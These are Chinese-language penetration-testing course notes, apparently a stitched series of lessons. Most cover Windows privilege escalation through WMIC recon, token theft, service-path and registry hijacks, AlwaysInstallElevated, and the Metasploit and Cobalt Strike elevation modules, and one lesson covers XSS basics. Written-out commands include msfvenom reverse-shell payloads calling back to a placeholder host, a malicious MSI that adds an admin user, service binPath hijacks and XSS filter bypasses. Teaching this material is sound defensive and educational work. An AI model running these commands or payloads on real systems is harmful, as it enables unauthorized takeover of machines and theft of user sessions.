提权条件

成功提权通常需要满足以下条件：

  1. 拥有一个初始的shell或普通用户权限。
  2. 拥有某些软件或服务的账号密码（这是最直接的方式）。
  3. 目标本地或远程服务器上存在可利用的提权漏洞。
  4. 拥有针对该漏洞的利用工具或代码。

二、Windows提权信息收集 📊

上一节我们介绍了提权的基本概念，本节中我们来看看如何为Windows提权进行信息收集。信息收集是渗透测试的第一步，决定了后续攻击的方向和广度。

首先，我们需要获取一个初始的meterpreter shell或类似的低权限访问。这可以通过之前课程中介绍的MSF、CS框架或Web漏洞利用等方式实现。

以下是进行Windows提权信息收集的常用方法和工具。

使用WMIC命令行工具

WMIC是Windows管理工具的命令行接口，可用于执行系统管理任务，是信息收集的利器。

我们可以通过wmic /?查看其帮助信息。例如，要查看系统所有用户账户，可以使用以下命令：

wmic useraccount list brief

该命令会列出账户类型、域名、SID、全名等简洁信息。

使用WMIC信息收集脚本

有现成的脚本可以自动化执行WMIC信息收集。例如winmsinfo.bat脚本，它会收集进程、服务、用户账户、网络接口、操作系统、已安装软件、启动程序等信息，并将结果格式化为HTML文件输出。

收集系统补丁信息

了解系统已安装的补丁至关重要，这能帮助我们判断哪些漏洞可能未被修复。使用以下命令可以列出所有已安装的补丁：

wmic qfe get Caption,Description,HotFixID,InstalledOn

我们可以通过findstr命令过滤特定的补丁号（如KB编号），以判断对应漏洞是否可利用。

收集杀毒软件信息

了解目标安装了哪些杀毒软件，有助于我们规避检测。可以使用以下命令：

wmic /namespace:\\root\securitycenter2 path antivirusproduct get displayname,pathToSignedProductExe

使用SC命令行工具

SC是用于与服务控制管理器通信的命令行程序，可以检索和控制系统服务。其功能类似于图形界面中的“服务”管理工具。

例如，要获取所有系统注册服务的状态信息，可以使用：

sc query state= all

自动化信息收集脚本

除了基于WMIC的脚本，还有其他强大的自动化信息收集脚本，例如：

  1. winPEAS.bat：这是一个功能全面的提权信息枚举脚本，能检查系统配置、凭证、服务、计划任务、安装的软件、补丁等大量可能用于提权的信息点。
  2. PowerSploit/PowerUp：这是一个PowerShell脚本框架，其中的Invoke-AllChecks模块可以快速检查常见的错误配置和漏洞，如可写服务路径、AlwaysInstallElevated注册表项等。

执行这些脚本后，仔细分析输出结果，寻找薄弱的配置或已知的漏洞点。

三、内核漏洞提权 ⚙️

在完成了详尽的信息收集后，我们就可以进入提权阶段。本节我们将重点介绍利用Windows内核漏洞进行提权的方法。

内核漏洞提权通常涉及操作系统底层的安全缺陷，利用成功可以直接获得SYSTEM权限。这类漏洞的利用代码通常以可执行文件（.exe）的形式存在。

提权流程

一个典型的内核漏洞提权流程如下：

  1. 信息收集：确定目标系统版本、架构（x86/x64）、已安装补丁。
  2. 漏洞匹配：根据收集到的信息，在漏洞数据库（如Exploit-DB）或提权辅助脚本（如winPEAS）的建议中，寻找可能适用的内核漏洞。
  3. 上传利用程序：将对应漏洞的利用程序（例如MS16-032.exe, CVE-2018-8120.exe）上传到目标机器。
  4. 执行利用：在获得的shell中执行该利用程序。
  5. 获取权限：利用程序运行后，可能会生成一个新的具有SYSTEM权限的shell或进程。

常用提权工具示例：“烂土豆”（RottenPotato）

“烂土豆”（RottenPotato）及其变种（如JuicyPotato, PrintSpoofer）是经典的提权工具，它们利用了Windows令牌模拟机制中的漏洞。

其核心作用是将一个已有的服务账户权限提升至SYSTEM。基本用法是将其上传至目标并执行。如果利用成功，它会在系统中创建一个具有SYSTEM权限的令牌（Token）。

令牌（Token）窃取与利用

Windows系统使用令牌来标识用户身份和权限。主要有两种类型：

  • 授权令牌（Delegation Token）：用于交互式登录（如远程桌面登录）。
  • 模拟令牌（Impersonation Token）：用于非交互式会话（如网络映射驱动器）。

这些令牌在系统重启前会一直存在。在获得初始shell后，我们可以尝试窃取系统中已存在的更高权限的令牌。

例如，在Meterpreter中，可以使用incognito模块来列举和窃取令牌：

# 加载incognito模块
load incognito
# 列出所有可用令牌
list_tokens -u
# 窃取SYSTEM令牌
impersonate_token "NT AUTHORITY\\SYSTEM"

执行成功后，当前Meterpreter会话的权限就提升到了SYSTEM。

“烂土豆”等工具的本质就是通过漏洞创建一个SYSTEM令牌，然后我们可以用上述方法窃取并使用它。

总结 📝

本节课我们一起学习了Windows系统权限提升的完整路径。

我们首先明确了权限提升的概念和前提条件。然后，深入探讨了如何进行全面的信息收集，包括使用WMIC、SC命令以及自动化脚本如winPEAS来搜集系统版本、补丁、服务、安装软件等关键信息。

接着，我们讲解了如何利用内核漏洞进行提权，介绍了从漏洞匹配、上传利用程序到执行提权的标准流程，并以“烂土豆”为例，阐述了令牌窃取这一核心提权技术。

掌握这些信息收集方法和提权思路，是进行深入系统安全测试的关键一步。请务必在授权环境下进行练习，巩固所学知识。

🛡️ 课程P69：第38天 - Windows权限提升技术详解

在本节课中，我们将系统性地学习Windows环境下的多种权限提升技术。课程内容涵盖从信息收集、漏洞探测到具体利用的完整流程，旨在帮助初学者理解并掌握在获得初始立足点后，如何将普通用户权限提升至系统最高权限。

📋 课程概述

权限提升是渗透测试和后渗透阶段的核心环节。当攻击者获得一个普通用户权限的Shell后，下一步目标通常是获取SYSTEM或Administrator权限，以完全控制系统。本节课将聚焦于Windows系统，讲解几种常见的提权思路与具体方法。

🧠 第一部分：内核漏洞提权

上一节我们介绍了权限提升的基本概念，本节中我们来看看最直接的提权方式之一：利用Windows内核漏洞。

内核漏洞提权的核心思路是：检查目标系统版本和已安装补丁，寻找未修复的已知漏洞。

信息收集：检查系统与补丁

首先，我们需要收集目标系统的详细信息，以判断其可能存在的漏洞。

以下是常用的信息收集命令：

  • systeminfo: 查看系统版本、补丁列表等综合信息。
  • wmic qfe get Caption,Description,HotFixID,InstalledOn: 列出已安装的补丁。
  • PowerShell命令:
    Get-WmiObject -Class Win32_QuickFixEngineering | Select-Object -Property HotFixID
    此命令功能与上述wmic命令类似，用于枚举系统补丁。

使用自动化工具探测漏洞

手动比对补丁信息效率较低，我们可以借助自动化工具来快速识别潜在的提权漏洞。

以下是几款常用的提权辅助工具：

  • Windows-Exploit-Suggester: 此工具将systeminfo的输出与漏洞数据库比对，给出可能的漏洞利用建议。
  • Watson: 一款.NET工具，用于枚举Windows漏洞并给出详细的漏洞信息、利用脚本链接。
  • Sherlock (PowerShell脚本): 一款PowerShell脚本，用于查找本地可能存在的提权漏洞。
    # 导入并执行Sherlock脚本
Import-Module .\Sherlock.ps1
Find-AllVulns
  • Metasploit 模块:
    • post/windows/gather/enum_patches: 枚举系统补丁。
    • post/multi/recon/local_exploit_suggester: 根据当前会话，自动建议可用的本地提权模块。

核心要点：这些工具提供的只是“可能性”参考，实际利用需要根据目标环境进行测试。

利用公开的漏洞利用代码

当确定目标存在某个特定漏洞（例如，通过CVE编号标识）后，可以在漏洞数据库或代码仓库（如GitHub）中搜索对应的利用代码（Exploit）。

例如，在GitHub上存在专门收集Windows内核提权漏洞的仓库，里面包含了针对不同CVE的编译好的可执行文件（.exe）或源代码。获取到利用程序后，上传至目标机器并执行，通常即可获得SYSTEM权限的Shell。

过渡：内核漏洞提权威力巨大，但高度依赖于未打补丁的特定漏洞。接下来，我们将探讨另一种更依赖系统配置和服务特性的提权方法——服务漏洞提权。

⚙️ 第二部分：Windows服务漏洞提权

本节我们将深入分析因Windows服务配置不当而导致的权限提升漏洞。这类漏洞不依赖于未修复的系统补丁，而是利用了服务运行机制和文件权限设置上的缺陷。

1. 可信任服务路径漏洞

漏洞原理：
Windows服务通常以SYSTEM权限运行。当服务启动时，系统会根据服务配置的二进制文件路径来执行程序。如果该路径包含空格（例如 C:\Program Files\Common Files\service.exe），且路径中某个空格前的目录对当前用户有写权限，那么漏洞就可能存在。

系统在解析带空格的路径时，会依次尝试寻找并执行空格前的名称所对应的程序。例如，对于路径 C:\Program Files\Common Files\service.exe，系统会依次尝试执行：

  1. C:\Program.exe
  2. C:\Program Files\Common.exe
  3. C:\Program Files\Common Files\service.exe (最终正确的程序)

利用条件：

  1. 找到配置路径中包含空格的服务。
  2. 该路径中，某个空格前的目录，当前用户具有写入权限。

利用步骤：

以下是完整的利用流程：

  1. 查找易受攻击的服务：
    wmic service get name,displayname,pathname,startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """
    此命令查找自动启动、且路径不在C:\Windows\下、路径中包含空格的服务。

  1. 检查目录写入权限：
    icacls "C:\Program Files\Vulnerable Directory"
    检查疑似目录的权限。如果返回结果中包含 Everyone:(F) 或当前用户名包含 (F)（完全控制），则意味着有写入权限。

  1. 生成并上传Payload：
    使用Msfvenom生成一个反向Shell的Payload。
    msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=YOUR_IP LPORT=4444 -f exe -o Common.exe
    将生成的Common.exe上传到有写权限的目录（例如，如果漏洞路径是 C:\Program Files\Common Files\service.exe，且 C:\Program Files 可写，则上传到此目录）。

  1. 等待或触发服务重启：
    服务重启时，系统会以SYSTEM权限执行我们上传的Common.exe。由于普通用户通常无法控制服务重启，可能需要等待系统重启或寻找其他方法。

  1. 接收Shell并迁移进程：
    成功获得Meterpreter会话后，该会话可能会因为服务进程异常而立即断开。因此，需要在接收到会话的瞬间自动迁移进程到一个稳定进程（如explorer.exe）。
    在Metasploit的handler模块中设置：
    set AutoRunScript post/windows/manage/migrate
    这样能确保获得一个稳定的SYSTEM权限会话。

2. 不安全的服务权限

漏洞原理：
如果当前用户对某个系统服务的属性拥有完全控制权（SERVICE_ALL_ACCESS），就可以直接修改该服务启动时执行的二进制文件路径。

利用步骤：

以下是检查和利用此漏洞的方法：

  1. 使用AccessChk检查服务权限：
    AccessChk是SysInternals工具包中的一款工具。上传并运行以下命令，检查当前用户对哪些服务有SERVICE_ALL_ACCESS权限。
    accesschk.exe -uwcqv "当前用户名" *
    或者查找所有用户都有完全控制权的服务：
    accesschk.exe -uwcqv "Everyone" *

  1. 修改服务配置：
    找到目标服务（例如服务名为VulnService）后，使用sc命令修改其binPath（二进制路径）。
    sc config VulnService binPath= "C:\path\to\your\payload.exe"
    注意：等号=后面必须有一个空格。

  1. 启动服务执行Payload：
    修改后，启动该服务。由于服务以SYSTEM运行，它将执行我们的Payload。
    sc start VulnService
    同样，如果当前用户权限不足，可能无法启动服务，需要等待或触发重启。

3. 不安全的注册表权限

漏洞原理：
Windows服务的配置信息最终存储在注册表中（路径：HKLM\SYSTEM\CurrentControlSet\Services\）。如果当前用户对某个服务对应的注册表项有写入权限，就可以直接修改其ImagePath键值，达到与上述方法相同的效果。

利用步骤：

以下是利用注册表权限提权的步骤：

  1. 使用SubInACL检查注册表权限：
    上传SubInACL工具，检查对服务注册表项的权限。

    subinacl.exe /keyreg "HKLM\SYSTEM\CurrentControlSet\Services\VulnService" /display

    如果显示当前用户有 F (完全控制) 权限，则可利用。

  2. 修改注册表键值：
    使用reg命令直接修改服务的ImagePath。

    reg add "HKLM\SYSTEM\CurrentControlSet\Services\VulnService" /v ImagePath /t REG_EXPAND_SZ /d "C:\path\to\your\payload.exe" /f

  3. 重启服务：
    服务重启后，即会以SYSTEM权限执行我们的Payload。

4. AlwaysInstallElevated 策略漏洞

漏洞原理：
这是一个组策略设置。如果启用，任何用户都可以以高权限安装.msi格式的安装包。我们可以制作一个包含恶意Payload的.msi安装包，诱使或直接运行它来提权。

利用条件：
检查以下两个注册表项的值是否为 1：

  • HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated
  • HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated

检查命令：

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

利用步骤：

以下是利用此策略提权的方法：

  1. 生成恶意MSI安装包：
    使用Msfvenom生成一个直接添加用户的MSI文件，或生成一个执行反向Shell的MSI。

    # 生成添加用户的MSI
msfvenom -p windows/adduser USER=hacker PASS=Hacker123! -f msi -o setup.msi
# 或生成执行反向Shell的MSI (需要先生成payload.exe)
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=YOUR_IP LPORT=5555 -f exe -o payload.exe
msfvenom -p windows/exec CMD="C:\\Windows\\Temp\\payload.exe" -f msi -o installer.msi

  2. 上传并执行MSI：
    将生成的.msi文件上传到目标机器，并以普通用户身份运行。

    msiexec /quiet /qn /i C:\path\to\installer.msi

    参数说明：/quiet和/qn表示静默安装，无界面提示。

📝 课程总结

本节课中我们一起学习了Windows系统下多种关键的权限提升技术：

  1. 内核漏洞提权：通过信息收集、自动化工具探测，利用未修复的系统内核漏洞直接获取SYSTEM权限。这是最经典的提权方式。
  2. 服务路径漏洞提权：利用Windows解析带空格服务路径的机制，结合可写目录，实现权限提升。
  3. 服务权限漏洞提权：通过修改当前用户拥有完全控制权的服务配置，替换其启动程序为我们的Payload。
  4. 注册表权限漏洞提权：原理与服务权限漏洞类似，但操作对象是存储服务配置的注册表项。
  5. AlwaysInstallElevated策略漏洞：利用错误的组策略设置，通过高权限安装恶意MSI包进行提权。

这些方法各有适用场景，在实际渗透测试中，往往需要结合多种信息收集手段，灵活选用最可能成功的提权路径。掌握这些技术，对于深入理解Windows系统安全性和进行有效的后渗透测试至关重要。

课程P7：第5天：XSS漏洞 - XSS基础概述及利用 🛡️

在本节课中，我们将要学习跨站脚本攻击的基础知识。我们将了解XSS漏洞的定义、危害、主要类型以及其利用的基本原理。课程内容将结合概念讲解与简单的代码示例，帮助初学者建立清晰的认识。

漏洞概述

跨站脚本攻击是指攻击者通过网站的注入点，注入客户端可执行解析的恶意脚本代码。当受害者访问被注入了有害代码的网页时，这些恶意负载会自动加载并执行，以达到攻击者的目的。

攻击者写入代码的逻辑可能是为了窃取Cookie、进行恶意传播或实施钓鱼欺骗等。为了避免与HTML中的CSS混淆，其英文缩写通常被称为XSS。

核心概念：恶意脚本 + 网站注入点 -> 受害者浏览器执行 -> 达成攻击目的

XSS的危害

以下是XSS攻击可能造成的主要危害：

  1. 获取用户信息：攻击者可以窃取受害者的浏览器信息、真实IP地址或Cookie。获取Cookie后，可能实现无密码登录，进而窃取账号内的个人信息。
  2. 钓鱼攻击：利用XSS漏洞可以构造虚假的登录框，诱骗用户输入账户名和密码，并将其发送到攻击者控制的服务器。
  3. 注入木马或广告：在主流网站中注入非法网站的链接，影响网站声誉。
  4. 配合其他漏洞进行后台操作：例如，配合CSRF漏洞，利用JavaScript模拟浏览器发送数据包，进行增删改等操作。
  5. XSS蠕虫：实现自动传播，例如微博蠕虫（自动关注某人）或贴吧蠕虫（自动回复某个帖子）。

上一节我们介绍了XSS的基本概念和危害，本节中我们来看看XSS漏洞的主要类型。

漏洞类型及利用场景

XSS漏洞主要分为三种类型：反射型、存储型和DOM型。

反射型XSS

反射型XSS是非持久化的，攻击只执行一次。它也被称为参数型XSS。攻击者将恶意脚本附加到URL的参数中发送给受害者。服务器端未经严格过滤便将参数输出到页面，导致浏览器执行其中的代码。

攻击流程：

  1. 攻击者发现存在反射型XSS的URL。
  2. 根据输出点环境构造能触发XSS的代码。
  3. （可选）对恶意URL进行编码或缩短以增加迷惑性。
  4. 将构造好的URL发送给受害者。
  5. 受害者点击链接，XSS代码在其浏览器中执行。

利用场景与示例：
常见于搜索框、URL参数等输入点。例如，一个页面将用户输入的名字直接回显在页面上。

<!-- 前端表单 -->
<form action="reflect_xss.php" method="GET">
    <input type="text" name="name">
    <input type="submit" value="提交">
</form>


// 后端PHP代码 (reflect_xss.php)
$name = $_GET['name'];
echo "Welcome, " . $name; // 危险：未对$name进行过滤

如果攻击者输入<script>alert(1)</script>并提交，页面将弹出警告框，证明存在XSS漏洞。

简单的防护与绕过：

  • 防护：使用htmlspecialchars()函数对输出进行HTML实体编码。
    echo "Welcome, " . htmlspecialchars($name);
  • 绕过尝试：如果防护代码只是简单替换<script>字符串为空，攻击者可以尝试大小写混合（如<ScRiPt>）或嵌套标签（如<scr<script>ipt>）进行绕过。

存储型XSS

存储型XSS是持久化的。攻击者将恶意脚本提交并存储到网站的数据库（如留言、评论、个人信息字段）。当其他用户访问包含这些恶意数据的页面时，脚本从数据库中被读取并输出执行，造成持续性的影响。

特点：攻击范围广，所有访问受影响页面的用户都可能中招。

利用场景与示例：
常见于留言板、评论系统、用户昵称等会保存数据并展示给其他用户的功能。

// 存储留言的后端代码 (存储时未过滤)
$message = $_POST['message'];
$sql = "INSERT INTO guestbook (message) VALUES ('$message')";
// ... 执行SQL语句存入数据库

![](https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/521b67090e917bfb21e4cb7456eb2dda_77.png)

![](https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/521b67090e917bfb21e4cb7456eb2dda_79.png)

![](https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/521b67090e917bfb21e4cb7456eb2dda_81.png)

// 展示留言的后端代码 (输出时未过滤)
$result = // ... 从数据库读取留言
while($row = // ... 遍历结果) {
    echo $row['message']; // 危险：直接输出数据库内容
}

如果攻击者在留言中提交<script>alert(2)</script>，那么所有访问留言板的用户都会弹窗。

防护思路：
防护可以在数据存储前或输出时进行，但更推荐在输出时进行统一的过滤处理。

// 输出时进行防护
echo htmlspecialchars($row['message']);

DOM型XSS

DOM型XSS的攻击过程完全在客户端浏览器中完成，不涉及与服务器端的数据交互。漏洞成因是页面的JavaScript代码逻辑不安全，不当地操作了DOM（文档对象模型），将用户可控的数据当成了可执行的JavaScript代码。

特点：属于客户端的XSS，Payload长度可能不受URL限制。

利用场景与示例：
例如，一段JavaScript代码从当前页面的URL中提取参数，并直接用于动态修改页面内容。

<script>
    var pos = document.URL.indexOf("name=") + 5; // 找到"name="参数值开始的位置
    var userInput = document.URL.substring(pos, document.URL.length); // 截取参数值
    document.write(userInput); // 危险：直接将用户输入写入DOM
</script>

如果用户访问的URL是page.html#name=<script>alert(3)</script>，那么userInput变量的值就是恶意脚本，document.write()会将其作为HTML解析执行，导致弹窗。

与反射型的区别：虽然触发点都在URL，但DOM型XSS的恶意数据没有经过服务器处理，是前端的JS代码直接将其写入了页面。

漏洞实操与总结

本节课我们一起学习了跨站脚本攻击的基础知识。我们了解了XSS漏洞的原理是攻击者注入恶意脚本，并在受害者浏览器中执行。我们详细探讨了三种主要的XSS类型：

  • 反射型XSS：通过URL参数一次性触发，需要诱导用户点击。
  • 存储型XSS：恶意代码存储在服务器数据库，影响所有访问者，危害更大。
  • DOM型XSS：由不安全的客户端JavaScript代码导致，攻击在浏览器端完成。

核心防护原则：永远不要信任用户的输入。对所有来自外部的、用户可控的数据，在输出到HTML页面时，都必须进行适当的过滤或编码（如使用htmlspecialchars()函数）。

建议通过相关的在线实验平台（例如，搜索“XSS跨站脚本攻击原理与实践”实验）进行动手练习，以加深对XSS漏洞发现、利用和防护的理解。

课程P70：第39天 - 权限提升：Meterpreter提权模块详解 🔓

在本节课中，我们将学习如何在Metasploit框架（MSF）中利用Meterpreter的提权模块，将普通用户权限提升至SYSTEM或管理员权限。课程内容涵盖自动提权命令、绕过用户账户控制（UAC）以及利用本地提权漏洞集合模块。

概述 📋

本节课主要介绍MSF及Cobalt Strike（CS）框架下提权模块的使用。上节课我们介绍了Windows系统下的提权方法与技巧，本节课将在此基础上，重点演示MSF中对应的、可直接利用的提权模块。

课程主要内容分为两部分：

  1. MSF中Meterpreter提权模块的使用。
  2. Cobalt Strike框架中提权模块的介绍与操作。

在渗透测试中，获得一个Shell后，我们常将其反弹至MSF或CS这类框架中，以便利用其集成的功能模块，更高效地进行后续测试和权限提升。

Meterpreter自动提权命令

首先，我们介绍Meterpreter中最常见的自动提权命令：getsystem。

这个命令用于尝试将当前会话权限提升至SYSTEM级别。其使用前提是当前用户属于管理员组，但即使满足此条件，提权也不一定总能成功。

以下是两种典型情况：

情况一：直接提权成功
当执行 getsystem 命令后，若返回新的会话（例如session 2），并且通过 getuid 命令查看显示为 NT AUTHORITY\SYSTEM，则表明提权成功。

情况二：直接提权失败
更常见的情况是，执行 getsystem 命令后会报错，提示操作失败（Operation failed: The environment is incorrect.）。这意味着无法通过此命令直接完成提权。

针对第二种失败情况，我们需要采用其他方法，例如绕过用户账户控制（UAC）。

绕过用户账户控制（UAC）

用户账户控制（UAC）是微软的一种安全机制，旨在缓解恶意软件的影响。当普通用户尝试执行需要管理员权限的操作（如运行regedit或以管理员身份运行cmd）时，系统会弹出确认窗口。

绕过UAC的核心思路是：利用漏洞或特定方法，在不触发UAC弹窗或欺骗其机制的情况下，使普通用户获得管理员权限。

在MSF中，集成了多个用于绕过UAC的模块。我们可以通过 search bypassuac 命令进行搜索和查看。

BypassUAC模块使用

当直接使用 getsystem 提权失败时，可以尝试使用 exploit/windows/local/bypassuac 模块。

以下是使用步骤：

  1. 在获得一个普通用户权限的Meterpreter会话（例如session 1）后，背景化该会话（background）。
  2. 使用 use exploit/windows/local/bypassuac 命令加载模块。
  3. 设置必需的参数：
    • set SESSION <会话ID>：指定已有的普通用户会话。
    • set LHOST <监听IP>：设置回连地址。
    • set LPORT <监听端口>：设置回连端口。
  4. 执行 exploit 命令。

模块运行成功后，会建立一个新的Meterpreter会话（例如session 2）。进入这个新会话后，再执行 getsystem 命令，通常就能成功获得SYSTEM权限。

核心原理：BypassUAC模块利用漏洞，使当前会话获得了“绕过UAC验证”后的管理员上下文环境，在此基础上再执行 getsystem，成功率大大提升。

BypassUAC注入模块

另一个类似的模块是 exploit/windows/local/bypassuac_injection。其使用方式与上述模块完全相同：

  1. use exploit/windows/local/bypassuac_injection
  2. set SESSION <已有会话ID>
  3. set LHOST <监听IP>
  4. exploit

该模块运行后，可能会直接返回一个具有SYSTEM权限的新会话。

注意：在使用这些模块时，务必注意TARGET参数的设置。如果目标系统是64位（x64），而模块默认或设置的TARGET是32位（x86），则会导致失败。错误信息通常为：[-] Exploit aborted due to failure: bad-config: x86 target selected for x64 system。此时，需要使用 show targets 查看可用目标，并用 set TARGET <目标ID> 命令进行正确设置。

本地提权漏洞利用建议器

上一节课我们介绍了Windows平台的各种提权漏洞。在MSF中，有一个非常实用的模块 post/multi/recon/local_exploit_suggester，可以自动检测目标系统可能存在的本地提权漏洞。

该模块基于已有的会话，在目标机器上运行检测脚本，并列出MSF中可供尝试利用的对应漏洞模块。

使用步骤如下：

  1. 在获得一个会话后，背景化该会话。
  2. 使用 use post/multi/recon/local_exploit_suggester 命令加载模块。
  3. 设置参数：set SESSION <已有会话ID>。
  4. 执行 exploit 或 run 命令。

模块运行后，会输出一个建议利用的模块列表。例如：

[+] 10.10.10.15 - exploit/windows/local/ms10_092_schelevator
[+] 10.10.10.15 - exploit/windows/local/ms16_014_wmi_recv_notif

我们可以选择其中一个模块进行尝试：

  1. use <推荐的模块路径>
  2. set SESSION <同一个已有会话ID>
  3. （根据需要设置其他参数，如LHOST）
  4. exploit

如果利用成功，将会获得一个新的、权限更高的会话（可能是管理员或SYSTEM权限）。之后可以在此新会话中尝试执行 getsystem 以确认或进一步提升权限。

重要提示：此模块给出的建议仅作为参考，并非所有列出的模块都能保证提权成功。渗透测试需要不断尝试。

不安全的服务路径漏洞利用

上节课我们介绍了Windows服务漏洞中的“不安全的服务路径”（Unquoted Service Path）。在MSF中，有对应的模块 exploit/windows/local/trusted_service_path 来利用此类漏洞。

该模块会自动在目标机器上搜索存在“可写入路径”且服务路径未用引号括起的服务，并尝试利用。

使用方法与其他本地漏洞利用模块类似：

  1. use exploit/windows/local/trusted_service_path
  2. set SESSION <已有会话ID>
  3. set LHOST <监听IP>
  4. exploit

模块运行后，会尝试查找并利用符合条件的服务。如果找到并利用成功，即可获得一个SYSTEM权限的会话。

总结 🎯

本节课我们一起学习了MSF框架中Meterpreter的多种权限提升方法：

  1. 基础命令：首先尝试使用 getsystem 命令进行自动提权。
  2. 绕过UAC：当 getsystem 失败时，使用 bypassuac 或 bypassuac_injection 模块绕过用户账户控制，为后续提权创造条件。
  3. 漏洞利用：
    • 使用 local_exploit_suggester 模块智能推荐本地提权漏洞利用模块。
    • 使用 trusted_service_path 模块专门利用“不安全的服务路径”漏洞。

这些模块大大简化了手动信息收集和利用漏洞的流程。关键在于获得一个初始会话（即使权限很低），然后根据目标系统环境，灵活选用和尝试上述模块。同时，务必注意模块参数（如SESSION, LHOST, TARGET）的正确配置，并理解操作失败时的报错信息，这是解决问题的关键。

课程P71：第40天 - 权限提升：Cobalt Strike提权模块 🚀

在本节课中，我们将学习如何利用Cobalt Strike框架中的提权模块，将已获得的普通用户权限提升至更高权限（如SYSTEM）。课程将涵盖漏洞原理、模块配置、脚本加载以及多种提权方法的具体操作。

概述

上一节我们介绍了Windows服务路径漏洞的原理。本节中，我们来看看如何在Cobalt Strike中利用相关模块和脚本实现权限提升。我们将重点学习内置提权模块、外部EXP利用以及PowerShell脚本的集成使用。

服务路径漏洞利用回顾与Cobalt Strike集成

如果目标服务的可执行程序路径没有被引号包裹，系统在启动服务时，会按空格分割路径字符串，并依次查找前面部分对应的可执行程序。它会一层层目录查找，直到找到最终的服务程序。

利用此漏洞进行提权的方法是：找到该路径中某个我们有写入权限的目录。如果有写入权限，就可以尝试写入一个恶意程序。

例如，尝试写入一个15872字节的程序到 C:\Windows\Product 目录下，生成程序名为 common.exe。生成此程序后，需要等待服务重新启动。因为漏洞触发需要服务重启并加载可执行程序路径时，才会查找到我们写入的木马程序并加载执行。

由于我们是普通用户，没有权限启动该服务，所以利用模块会处于等待状态。我们可以通过模拟服务启动来触发。以下是利用过程的关键步骤：

  1. 查找可利用服务：模块会扫描目标机器上存在漏洞的服务。
  2. 写入恶意程序：将生成的Stage（Payload）写入有权限的目录。
  3. 等待服务重启：等待服务重启以触发漏洞。

注意：成功利用后，我们得到的会话（Session）是基于 common.exe 这个程序的。由于它并非真正的服务程序，无法与服务控制器正常通信，进程很快会被终止。因此，我们需要在会话建立后立即进行进程迁移（Migrate），将会话迁移到一个稳定的系统进程（如 explorer.exe）中，以维持持久访问。

Cobalt Strike 高级会话配置

在Cobalt Strike中，我们可以通过高级配置来优化提权操作。以下是关键配置项：

  • exitonsession：此选项默认为 true，意味着在得到一个会话后，后台的Job（任务）会自动退出。通常我们将其设置为 false，让Job持续运行，确保Payload执行后能稳定建立会话。
  • autorunscript：此选项用于设置自动运行脚本。在得到新会话后，会自动执行此处设置的命令。例如，我们可以设置为 migrate -f，这样在获得会话的瞬间，就会自动将会话迁移到其他进程，防止因进程退出而丢失权限。
  • servercms 模块：此模块对应“不安全的服务权限”漏洞的利用。
  • alwaysinstallelevated 模块：此模块对应“始终以高权限安装MSI”策略的漏洞利用。如果目标策略配置了此项，任何用户都能以SYSTEM权限安装MSI文件。我们只需生成一个包含Payload的MSI文件并上传执行，即可获得SYSTEM权限的会话。

使用外部提权EXP（以CVE-2019-0803为例）

除了内置模块，我们还可以上传并使用独立的提权EXP程序。例如，利用CVE-2019-0803（Win32k漏洞）的EXP程序。

该EXP影响范围很广，包括Windows 7到Windows 10以及多个Server版本。使用方法通常是在命令行后接 cmd 选项和要执行的命令。

操作步骤：

  1. 在Cobalt Strike的会话中，通过文件管理器将EXP程序（如 exp.exe）上传到目标机器。
  2. 通过 execute 命令或Shell执行该EXP。例如：exp.exe cmd "whoami"，如果成功，会返回 nt authority\system。
  3. 要获得一个SYSTEM权限的Beacon，可以先生成一个反向Shell的Payload（如 shell.exe），然后通过EXP以SYSTEM权限执行它：exp.exe cmd "start C:\path\to\shell.exe"。执行后，Cobalt Strike的监听器就会收到一个SYSTEM权限的会话。

集成PowerShell提权脚本（PowerUp）

Cobalt Strike可以通过 powershell-import 加载PowerShell脚本。PowerUp是一个著名的提权辅助脚本，能全面检测系统潜在的提权漏洞。

操作步骤：

  1. 使用 powershell-import 命令加载本地的PowerUp脚本。
  2. 使用 powershell 命令调用脚本中的模块。例如，执行 Invoke-AllChecks 命令，脚本会自动运行所有检查模块。
  3. 脚本会输出详细的检测结果，例如：
    • 可写的服务路径（Unquoted Service Paths）。
    • 启用的“始终以高权限安装”策略（AlwaysInstallElevated）。
    • 其他配置错误或弱权限点。
      根据输出信息，我们可以手动或结合其他模块进行利用。

加载与使用第三方Aggressor脚本（如SweetPotato）

Aggressor脚本可以极大扩展Cobalt Strike的功能。例如，SweetPotato（土豆家族提权工具）就有对应的Aggressor脚本版本。

操作步骤：

  1. 在Cobalt Strike的脚本管理器（Script Manager）中，点击 Load，选择后缀为 .cna 的脚本文件进行加载。
  2. 加载成功后，在Beacon的右键菜单 Access -> Elevate 中，会出现新的提权选项（如 SweetPotato）。
  3. 选择该选项并指定监听器，如果目标存在相应漏洞，执行后即可获得一个SYSTEM权限的会话。

Cobalt Strike通信机制简要说明

为了更好地理解操作，简要说明Cobalt Strike的通信模型：

  • Team Server：服务端，管理者多个监听器（Listener）。
  • Beacon：植入在目标机器上的Payload，与Team Server通信。
  • 通信方式：通常使用HTTP/HTTPS或DNS等协议。Beacon会按照设定的睡眠时间（sleep），定期向Team Server发送请求（如GET请求）来获取待执行的命令。执行结果再通过POST等方式回传。设置较短的 sleep 时间会使交互更实时，但也更容易被检测。

总结

本节课我们一起学习了在Cobalt Strike框架中进行权限提升的多种方法：

  1. 利用内置的 elevate 模块进行提权。
  2. 通过高级会话配置（autorunscript）实现自动化进程迁移，维持权限稳定。
  3. 上传并利用外部提权EXP程序（如CVE-2019-0803）。
  4. 集成PowerShell脚本（如PowerUp）进行全面的漏洞检测。
  5. 加载第三方Aggressor脚本（如SweetPotato）来扩展提权能力。

掌握这些方法，能帮助我们在渗透测试中更有效地将普通用户权限提升至SYSTEM权限，为后续的横向移动和权限维持打下基础。课后请大家务必在实验环境中亲自操作一遍，以加深理解。

课程P72：Linux系统内核漏洞提权 🔓

